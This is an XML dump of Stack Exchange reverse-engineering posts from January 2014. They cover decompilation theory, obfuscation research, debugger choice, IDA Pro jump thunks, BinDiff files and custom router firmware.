  <row Id="3411" PostTypeId="2" ParentId="3405" CreationDate="2014-01-08T18:33:56.337" Score="4" Body="&lt;p&gt;In normal condition &lt;code&gt;alt+f9 execute till user code&lt;/code&gt; should get you back to user code&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-01-08T18:33:56.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3412" PostTypeId="1" AcceptedAnswerId="3413" CreationDate="2014-01-08T19:35:49.777" Score="9" ViewCount="542" Body="&lt;p&gt;I want to convert this to C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;SHR CL,1&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rECX is the name of the (32bit unsigned int)register variable. It should be simple, but I can't figure out the proper pointer magic :/&lt;/p&gt;&#xA;" OwnerUserId="3590" LastActivityDate="2014-01-08T19:45:35.807" Title="How to convert this one-liner asm to C" Tags="|assembly|decompilation|c|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3413" PostTypeId="2" ParentId="3412" CreationDate="2014-01-08T19:45:35.807" Score="13" Body="&lt;p&gt;&lt;code&gt;rECX = (rECX &amp;amp; 0xFFFFFF00) | ((rECX &amp;amp; 0xFF) &amp;gt;&amp;gt; 1)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-08T19:45:35.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3414" PostTypeId="1" AcceptedAnswerId="3418" CreationDate="2014-01-09T05:44:16.573" Score="10" ViewCount="9097" Body="&lt;p&gt;I know that reverse engineering from binary to source code (e.g. C++) is generally considered hard or impossible but has any computer scientist actually proven &quot;mathematically&quot; that it's impossible or possible to reverse engineer (any) binary to source code? Is reverse engineering simply a very hard puzzle or are there binary out there that is simply impossible to reverse whether by hand or via decompiler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I know the answer might be &quot;it depends on platform and programming language&quot; so I am going to assume the language used is C++ since it's generally considered impossible to reverse it.&lt;/p&gt;&#xA;" OwnerUserId="3444" LastEditorUserId="3444" LastEditDate="2014-01-09T06:11:48.803" LastActivityDate="2014-01-10T16:56:25.073" Title="Is it &quot;theoretically&quot; possible/impossible to reverse any binary?" Tags="|disassembly|decompilation|c++|" AnswerCount="9" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3415" PostTypeId="2" ParentId="2408" CreationDate="2014-01-09T06:54:19.267" Score="2" Body="&lt;p&gt;File--&gt;Produce file--&gt;Create C header file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will export all defined structures and enums.&#xA;Please note that in all IDA versions before IDA 6.5 you'll possibly need to reorder structures if you want to use created file for compilation of your own source.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-09T06:54:19.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3416" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T08:24:32.150" Score="5" Body="&lt;p&gt;If &lt;strong&gt;any&lt;/strong&gt; binary means an arbitrary binary data file, then the answer is yes, it is impossible. To prove this, just consider a case of a file with a single byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you limit it to C/C++ then it is of course possible to reverse it. However, what is impossible is to reverse it to the original source code, because there is no 1:1 relation between the machine code and the source code. Depending on the optimizations the source can look very different than the original, even though it will be semantically the same.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2014-01-09T08:24:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3417" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T08:31:59.867" Score="4" Body="&lt;p&gt;It depends on definition and purpose of reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually clever human brain can understand everything that stupid computer is able to execute if this clever human brain has no time limitations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only research direction that somehow answers your question (measuring understandability of a program and secrecy and security guarantees of program transformations) that I know is obfuscation studies. There are interesting works in this area.&#xA;For example &lt;a href=&quot;http://windowsontheory.org/2013/12/26/progress-and-challenges-in-code-obfuscation-part-iii/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; you can find some interesting summary of current state of this research area.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-09T08:31:59.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3418" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T08:52:25.597" Score="14" Body="&lt;p&gt;In fact, the answer is a bit subtle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://www.wisdom.weizmann.ac.il/~odedg/p_obfuscate.html&quot; rel=&quot;noreferrer&quot;&gt;Barak et al.&lt;/a&gt;, it is impossible to obfuscate a program. Meaning that you will always leak enough information for an attacker to rebuild a blue-print of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another hand, it is also impossible to build a program that will automatically reverse-engineering any program given as input (it comes from the &lt;a href=&quot;http://en.wikipedia.org/wiki/Rice%27s_theorem&quot; rel=&quot;noreferrer&quot;&gt;Rice's theorem&lt;/a&gt; as obfuscation used to be built on non-trivial properties that you can find in programs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, finally, perfect obfuscation is not possible, but full automation neither. Which means that human (and intuition) is, and will remain, the key of this Science.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-10T16:56:25.073" LastActivityDate="2014-01-10T16:56:25.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3419" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T09:20:54.860" Score="3" Body="&lt;p&gt;It is possible to reverse engineer any binary irrespective of what language/compiler is used, but it depends on the knowledge of the reverse engineer who does that job (or) the developer who developed the tool that does that job.&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2014-01-09T09:20:54.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3420" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T09:21:21.213" Score="2" Body="&lt;p&gt;You can reverse engineer anything. Given you got the resources (time, money and skill). When you buy a car, program, computer, super secret chip. You get everything you need to operate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given this, you can figure out how it works and thus reverse engineer it.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2014-01-09T09:21:21.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3421" PostTypeId="1" AcceptedAnswerId="3425" CreationDate="2014-01-09T10:02:26.683" Score="0" ViewCount="3548" Body="&lt;p&gt;Is there publicly available solution for translation of ARM assembly to LLVM IR?&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-09T14:35:51.690" Title="Translation from ARM assembly to LLVM IR" Tags="|disassembly|" AnswerCount="1" CommentCount="3" ClosedDate="2014-01-11T06:23:07.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="3422" PostTypeId="2" ParentId="2276" CreationDate="2014-01-09T10:14:58.790" Score="-1" Body="&lt;p&gt;HookShark will generate false positives in software that uses packer/cryptor to protect their code.&lt;/p&gt;&#xA;" OwnerUserId="3588" LastActivityDate="2014-01-09T10:14:58.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3423" PostTypeId="2" ParentId="3373" CreationDate="2014-01-09T13:01:43.083" Score="2" Body="&lt;p&gt;I am not sure if a separate email got lost somewhere, but the .BinDiff file that BinDiff saves is in fact a sqlite3 database -- so the easiest way to get the&#xA;results would be to use sqlite to dump the results.&lt;/p&gt;&#xA;" OwnerUserId="3594" LastEditorUserId="245" LastEditDate="2014-01-09T17:17:26.793" LastActivityDate="2014-01-09T17:17:26.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3424" PostTypeId="2" ParentId="3340" CreationDate="2014-01-09T13:58:31.350" Score="2" Body="&lt;p&gt;Zynamics replied, they said that they removed the to text functionality as it was mostly used for debugging. However the .BinDiff results are essentially an SQLite file and can be handled as one. Firefox has a plug-in to read these SQLite files found &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/sqlite-manager/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. For linux I have found that &lt;a href=&quot;http://sqliteman.com/&quot; rel=&quot;nofollow&quot;&gt;Sqliteman&lt;/a&gt; works well. &lt;/p&gt;&#xA;" OwnerUserId="3505" LastActivityDate="2014-01-09T13:58:31.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3425" PostTypeId="2" ParentId="3421" CreationDate="2014-01-09T14:35:51.690" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;http://lists.cs.uiuc.edu/pipermail/llvmdev/2008-March/012953.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.cs.uiuc.edu/pipermail/llvmdev/2008-March/012953.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;During Google Summer of Code 2007 I was working on llvm-qemu, which&#xA;  translates from &lt;strong&gt;ARM machine code to LLVM IR&lt;/strong&gt; (at basic block level) and&#xA;  via the LLVM JIT to x86 machine code. All source architectures&#xA;  supported by qemu (x86, x86-64, ARM, SPARC, PowerPC, MIPS, m68k) can&#xA;  be translated to LLVM IR this way (e.g. adding support for x86 to&#xA;  llvm-qemu should be almost trivial).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can find llvm-qemu at &lt;a href=&quot;http://code.google.com/p/llvm-qemu/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/llvm-qemu/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-09T14:35:51.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3426" PostTypeId="2" ParentId="3212" CreationDate="2014-01-09T16:23:40.940" Score="1" Body="&lt;p&gt;Fuzzing finds by far the majority of buffer overflows.  Reverse engineering can both help the fuzzing and find additional issues on its own.  If the fuzzer knows about 'special' values that will cause the code to branch differently or exit parsing earlier without their presence, it can weight the inclusion of those values, guarantee that the input will get past a certain point, or fill in a CRC to always be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On it's own, reverse engineering can be very good if you start with an idea of what kind of defect you want to find.  For example, if you start with the idea that people who use atoi() will not expect negative numbers, it is easy to find those places in the code and flow forward to see what happens with the data.  Another example might be to start with the assumption that memory allocation size could be integer overflowed so, look at each call to the allocation and see if the computation preceding it has the necessary checks.  If not, see if the input can influence the allocation to reach a defect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to use reverse engineering is to let someone else do the defect finding for you.  Just compare what was patched when the vendor releases an update and you'll see what was repaired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jason said, the people writing the malware are not typically the same people that are finding the defects or even developing the exploits.&lt;/p&gt;&#xA;" OwnerUserId="3595" LastActivityDate="2014-01-09T16:23:40.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3427" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T16:58:28.573" Score="5" Body="&lt;p&gt;Yes, any application which runs must have some logic or code in order to execute. If the a machine (turing-complete) can follow it; so can humans, (so yes, in theory its possible to reverse anything). The reality obviously depends on the circumstances, for example security restrictions may be in place to prevent attackers obtaining access to system memory or executables on the filesystem  (such as certain embedded devices).&lt;/p&gt;&#xA;" OwnerUserId="3596" LastActivityDate="2014-01-09T16:58:28.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3428" PostTypeId="2" ParentId="3414" CreationDate="2014-01-09T17:27:06.437" Score="8" Body="&lt;p&gt;It seems that different answers correspond to different interpretations of the question.  A C++ compiler creates a binary from source code.  A C++ decompiler would create source code from the binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible, generally, to recreate &lt;em&gt;&lt;strong&gt;the&lt;/strong&gt;&lt;/em&gt; source (comments, macro definitions and local variable names, for example often don't exist in any form in the final binary), so what we're left with is attempting to create &lt;em&gt;&lt;strong&gt;some&lt;/strong&gt;&lt;/em&gt; source that is functionally equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One simplistic way to do this would be to disassemble an executable binary, instruction by instruction, creating C++ equivalent code for each machine instruction.  This would literally do the job, but the results would be utterly unusable for humans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the source language becomes more complex, automatically reversing it into a useful, readable, idiomatic form becomes more of a challenge.  See &lt;a href=&quot;http://tcloud.sjtu.edu.cn/wiki/images/3/3b/Decompiler-wcre-new.pdf&quot;&gt;this recent paper&lt;/a&gt; titled &quot;A Refined Decompiler to Generate C Code with High Readability&quot; by Chen, et al. which describes both the goals and challenges of decompilation.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-01-09T17:27:06.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3430" PostTypeId="1" AcceptedAnswerId="3433" CreationDate="2014-01-09T23:20:54.887" Score="13" ViewCount="2983" Body="&lt;p&gt;I am fairly familiar with WinDbg and didn't know about OllyDbg before. From the statistics in this forum, it seems that OllyDbg is twice as popular as WinDbg. Sometimes WinDbg can be frustrating, so I wonder whether I should switch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this question less opinion based, these are my requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;be able to debug .NET. From my research it seems that OllyDbg might not be as good as WinDbg with SOS and SOSEX&lt;/li&gt;&#xA;&lt;li&gt;do scripting. Here it seems OllyDbg is better. There are many scripts archived in a single place, which is not the case for WinDbg.&lt;/li&gt;&#xA;&lt;li&gt;analyze mini dump files. This could be a blocker: while the OllyDbg website states something about post mortem dump, I was unable to find an option to open a dump immediately (File/Open).&lt;/li&gt;&#xA;&lt;li&gt;record logs of what I'm doing to be able to give it to the customer. From the Google picture search I only see screenshots from registers, memory etc. I have not seen something similar to the WinDbg command output window.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Given these core requirements, should I give OllyDbg a try?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version information: OllyDbg 2.01&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="189" LastEditDate="2014-01-11T06:22:37.093" LastActivityDate="2014-01-13T03:37:45.947" Title="Should I switch from WinDbg to OllyDbg?" Tags="|tools|ollydbg|windbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3431" PostTypeId="2" ParentId="3414" CreationDate="2014-01-10T00:12:01.340" Score="6" Body="&lt;p&gt;As others have said, you can always write C code that simulates machine code.  That's not always useful, though.  Generally you want to learn more than just how to run the program -- like how to modify it in a useful way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Researchers are still trying to figure out which definitions of obfuscation are useful.  &lt;a href=&quot;http://www.iacr.org/archive/crypto2001/21390001.pdf&quot;&gt;This famous paper&lt;/a&gt; says you can't hide all the secrets all the time.  They define a &quot;secret&quot; to be anything you can't get from just running the program over and over and analyzing the output.  &lt;a href=&quot;http://eprint.iacr.org/2013/451&quot;&gt;This recent paper&lt;/a&gt; demonstrates a way to make it impossible to tell which equivalent source code was the original.  Their technique is the &quot;best possible&quot; obfuscation, in that it hides any secrets that can be hidden.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the &lt;a href=&quot;http://eprint.iacr.org/2004/060&quot;&gt;first successful obfuscations&lt;/a&gt; was for point functions, that output &quot;yes&quot; when you type in a secret password.  You obfuscate this program by coding the MD5 hash of the password (like the Unix login function does).  You can run the program, but you can't crack the password.  Does that count as being &quot;impossible to reverse&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some aspects of software static analysis have been known for some time to be formally hard.  For example, see &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.35.2337&quot;&gt;this paper&lt;/a&gt; and its references.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any research specifically on making it difficult to modify a program's behavior in a certain predictable way.  That would be interesting.&lt;/p&gt;&#xA;" OwnerUserId="3598" LastEditorUserId="245" LastEditDate="2014-01-10T00:20:53.097" LastActivityDate="2014-01-10T00:20:53.097" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3432" PostTypeId="2" ParentId="3414" CreationDate="2014-01-10T01:23:04.903" Score="4" Body="&lt;p&gt;I try to give my idea about reversing, not an answer, because I myself hope that I can find it, moreover I am quite sure that any expert here may say that what I think is crappy but I beg a generosity from the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;reverse engineering&quot; a program is rather to &lt;em&gt;verify whether the program has some properties or not&lt;/em&gt;, than to &lt;em&gt;reverse from binary code to source code&lt;/em&gt; (we can imagine that there are some properties that we can observe easily in the source code but not in the binary code), then the &quot;obfuscation&quot; is to prevent the program from such an algorithmic verification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the perfect (i.e. theoretical) world, some very general results assert several things. First, the &lt;a href=&quot;http://fr.wikipedia.org/wiki/Th%C3%A9or%C3%A8me_de_Rice&quot; rel=&quot;nofollow&quot;&gt;Rice's theorem&lt;/a&gt; (as previously mentioned by @perror) and a more constructive result of &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.35.9722&quot; rel=&quot;nofollow&quot;&gt;Landi. W&lt;/a&gt; assert that a general verificator does not exist, that means we cannot write a verificator V so that when we gives V an arbitrary program P and a non-trivial property p (a trivial property is one that exists in all programs, e.g. the magic byte MZ exists in all PE files is a trivial property), V can answer P has p or not. So that means the perfect obfuscation exists ?, the answer is trivially No, that is because we never require a such strong verificator (that gives deterministic answer for all programs), we need only a verificator for some useful classes of programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, &lt;a href=&quot;http://www.wisdom.weizmann.ac.il/~oded/PS/obf4.pdf&quot; rel=&quot;nofollow&quot;&gt;Barak et al&lt;/a&gt; (as previously mentioned also by @perror) asserts a somehow contradict result: there are some classes of programs that cannot be obfuscated, namely no matter what they are obfuscated, that is easy to write a verificator to answer these programs have a given property p (or not). There is actually no contradiction here because the Rice's theorem applies in the context of &quot;all programs&quot; and the result of Barak et al applies for the context of &quot;several programs&quot;, indeed we have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, the result of &lt;a href=&quot;http://www.cs.columbia.edu/~hoeteck/pubs/obf-point-stoc05.pdf&quot; rel=&quot;nofollow&quot;&gt;Wee. H&lt;/a&gt; says that we can always hide (i.e. obfuscate) some properties given a class of special programs named &lt;em&gt;point functions&lt;/em&gt;. Again, that does not mean the obfuscation is possible in general because this result applies in the context of &quot;several programs&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth, the result of &lt;a href=&quot;http://eprint.iacr.org/2013/451.pdf&quot; rel=&quot;nofollow&quot;&gt;Garg. S et al&lt;/a&gt; says that we can obfuscate any program so that any property computed from the obfuscated one is &quot;trivial&quot;. So that means the perfect obfuscator exists?, and if it exists then it contradict to the result of &lt;a href=&quot;http://www.wisdom.weizmann.ac.il/~oded/PS/obf4.pdf&quot; rel=&quot;nofollow&quot;&gt;Barak et al&lt;/a&gt;?, obviously No, because the two results have used actually two different definitions of triviality, in the first one a property is trivial if it exists in all programs having the same semantics (so this definition is weaker than in the second one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real (i.e. practial) world, I have so little experience that I cannot give any useful idea. But I doubt that the game obfuscator vs de-obfuscator will evolve in some very clever ways and we still have many gaps to work in (as an obfuscator or as a de-obfuscator).&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2014-01-10T09:20:26.290" LastActivityDate="2014-01-10T09:20:26.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3433" PostTypeId="2" ParentId="3430" CreationDate="2014-01-10T03:00:52.480" Score="10" Body="&lt;p&gt;Given your requirements, you'd be much better off sticking with WinDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg doesn't do .NET, nor is it capable of directly analyzing minidumps. It does have the ability to log its run traces, but this is likely not the type of logging that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OdbgScript is nice, but it sounds like that's not enough of a reason for you to make the change.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-10T03:00:52.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3434" PostTypeId="2" ParentId="3362" CreationDate="2014-01-10T21:40:57.533" Score="4" Body="&lt;p&gt;Java bytecode files can be identified by their &lt;a href=&quot;http://en.wikipedia.org/wiki/Magic_number_%28programming%29&quot; rel=&quot;nofollow&quot;&gt;magic number&lt;/a&gt;: &lt;code&gt;0xCAFEBABE&lt;/code&gt; at the beginning of the file. Also the standard naming convention is to have these files' names end in &lt;code&gt;.class&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, @hexafraction warns in a comment: &lt;em&gt;&quot;Java classfiles would not have their magic number or file extension visible when packed into a .exe PE, except if they were unpacked (assuming that they're just packed in the first place, and not recompiled to machine code)&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3611" LastEditorUserId="3611" LastEditDate="2014-09-04T19:32:11.627" LastActivityDate="2014-09-04T19:32:11.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3435" PostTypeId="1" AcceptedAnswerId="3438" CreationDate="2014-01-11T01:33:36.070" Score="7" ViewCount="1554" Body="&lt;p&gt;Test platform is windows 32 bit.  IDA pro 64&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically I use IDA pro to disassemble a PE file, and do some transformation work on the asm code I get, to make it &lt;strong&gt;re-assemblable&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the transformed code I generated, the system function call like &lt;code&gt;printf&lt;/code&gt; will be written just as the usual way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern printf&#xA;....&#xA;....&#xA;call printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use this to reassemble the code I create:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nasm -fwin32 --prefix _ test.s&#xA;cl test.obj /link msvcrt.lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got a PE executable file, and basically it works fine (Like a hello world program, a quick sort program and others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, as I use &lt;strong&gt;IDA pro to re-disassemble the new PE executable file I create&lt;/strong&gt;, strange things happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA pro generates function call like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ttKz.png&quot; alt=&quot;IDA pro&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaq.exe -B test.exe &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to generate new assembly code, in the printf function call part, it generate this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call j_printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without the &lt;code&gt;j_printf proc near&lt;/code&gt; function define...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I am wondering if anyone know how do deal with this, to let IDA pro generate &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call _printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;again or any other solution?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="189" LastEditDate="2014-01-11T06:20:38.963" LastActivityDate="2014-01-11T06:20:38.963" Title="Why IDA Pro generated a &quot;j_printf&quot; function call?" Tags="|ida|disassembly|windows|reassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3436" PostTypeId="2" ParentId="3077" CreationDate="2014-01-11T01:52:43.047" Score="2" Body="&lt;p&gt;Your DeObf() can extract a non-trivial property of C1 that C2 does not share, so it acts as a &quot;distinguisher&quot;.  This contradicts the existence of the indistinguishability obfuscator, even if the output of DeObf is only an approximate deobfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running time cannot be used to break an indistinguishability circuit obfuscator.  An indistinguishability obfuscator only has to work on circuits of comparable size.  It is allowed to produce a circuit Obf(C2) noticeably different from Obf(C1) if C2 is very much larger than C1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Less is known formally about obfuscation of Turing machines (and real programs), although there are some results.  The latest constructions are proven secure only against &quot;generic&quot; attacks.  Such proofs have previously been known to be contradicted by non-generic attacks.&lt;/p&gt;&#xA;" OwnerUserId="3598" LastActivityDate="2014-01-11T01:52:43.047" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3437" PostTypeId="1" CreationDate="2014-01-11T04:14:18.593" Score="1" ViewCount="423" Body="&lt;p&gt;Recently I have taken an interested in learning about Linux and the Unix family of operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my quest to do so I found that my simple home router contained hardware capable of much more than I thought. It was a fully fledged computer running Linux!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to load both &lt;a href=&quot;https://openwrt.org/&quot; rel=&quot;nofollow&quot;&gt;Openwrt&lt;/a&gt; and then DD-wrt allowing experimentation with a mini Linux computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im also aware that there are many other possiblities for router/modem firmware:&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_wireless_router_firmware_projects&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/List_of_wireless_router_firmware_projects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other projects that give this possibility are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Cyanogenmod (plus many more) for many Android based mobiles  &lt;/li&gt;&#xA;&lt;li&gt;FreemyiPod for Apple iPods  &lt;/li&gt;&#xA;&lt;li&gt;Rockbox for other Mp3 players including iPods&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What other popular projects are available that provide customized firmware or an alternative to proprietary software that can be loaded on to a device?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to provide a link to any lists of such projects?&lt;/p&gt;&#xA;" OwnerUserId="3619" LastEditorUserId="3619" LastEditDate="2014-01-11T05:06:23.023" LastActivityDate="2014-01-11T05:06:23.023" Title="What other public firmware/reverse engineered alternatives are available to replace stock firmware?" Tags="|firmware|" AnswerCount="0" CommentCount="4" ClosedDate="2014-01-11T05:49:12.747" ContentLicense="CC BY-SA 3.0" />
  <row Id="3438" PostTypeId="2" ParentId="3435" CreationDate="2014-01-11T06:11:11.207" Score="9" Body="&lt;p&gt;It's cl.exe that's inserting the jump thunk. It has some advantages, such as making it easier to redirect a function during runtime after load and makes it so that the loader only has to do a single relocation for that function. The other option would be to use an indirect call through an address. Neither is really optimal for performance due to the distance between the call and the jump or the address, which can hurt caching. You can &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/4khtbfyf%28VS.80%29.aspx&quot;&gt;disable the jump thunk by disabling incremental linking&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, what you're doing is probably a bad idea. IDA is not really made to produce code that can be reassembled. What's normally done is that you extend the last section or add a new section with the patched code then redirect the original code to the patch through a call or a jump.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-01-11T06:11:11.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3440" PostTypeId="1" AcceptedAnswerId="3455" CreationDate="2014-01-11T16:48:14.380" Score="3" ViewCount="1284" Body="&lt;p&gt;On a clean Windows XP SP2 installation running inside a VirtualBox VM, when doing a snapshot with &lt;code&gt;vboxmangage debugvm --dumpguestcore&lt;/code&gt; and analyzing it in Volatility, I always find 9 VADs with &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt; permissions in &lt;code&gt;winlogon.exe&lt;/code&gt; process and 1 VAD with the same permission in &lt;code&gt;csrss.exe&lt;/code&gt; process. Sometimes there is one in &lt;code&gt;explorer.exe&lt;/code&gt; process as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same for two different Machines one with VirtualBox tools installed and one without.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do these come from? What are the write permission useful for?&#xA;Any help is mostly appreciated, thank you!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="245" LastEditDate="2014-01-11T18:53:37.060" LastActivityDate="2014-01-18T19:16:41.557" Title="VADs with RWX permission in winlogon and csrss processes" Tags="|windows|digital-forensics|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
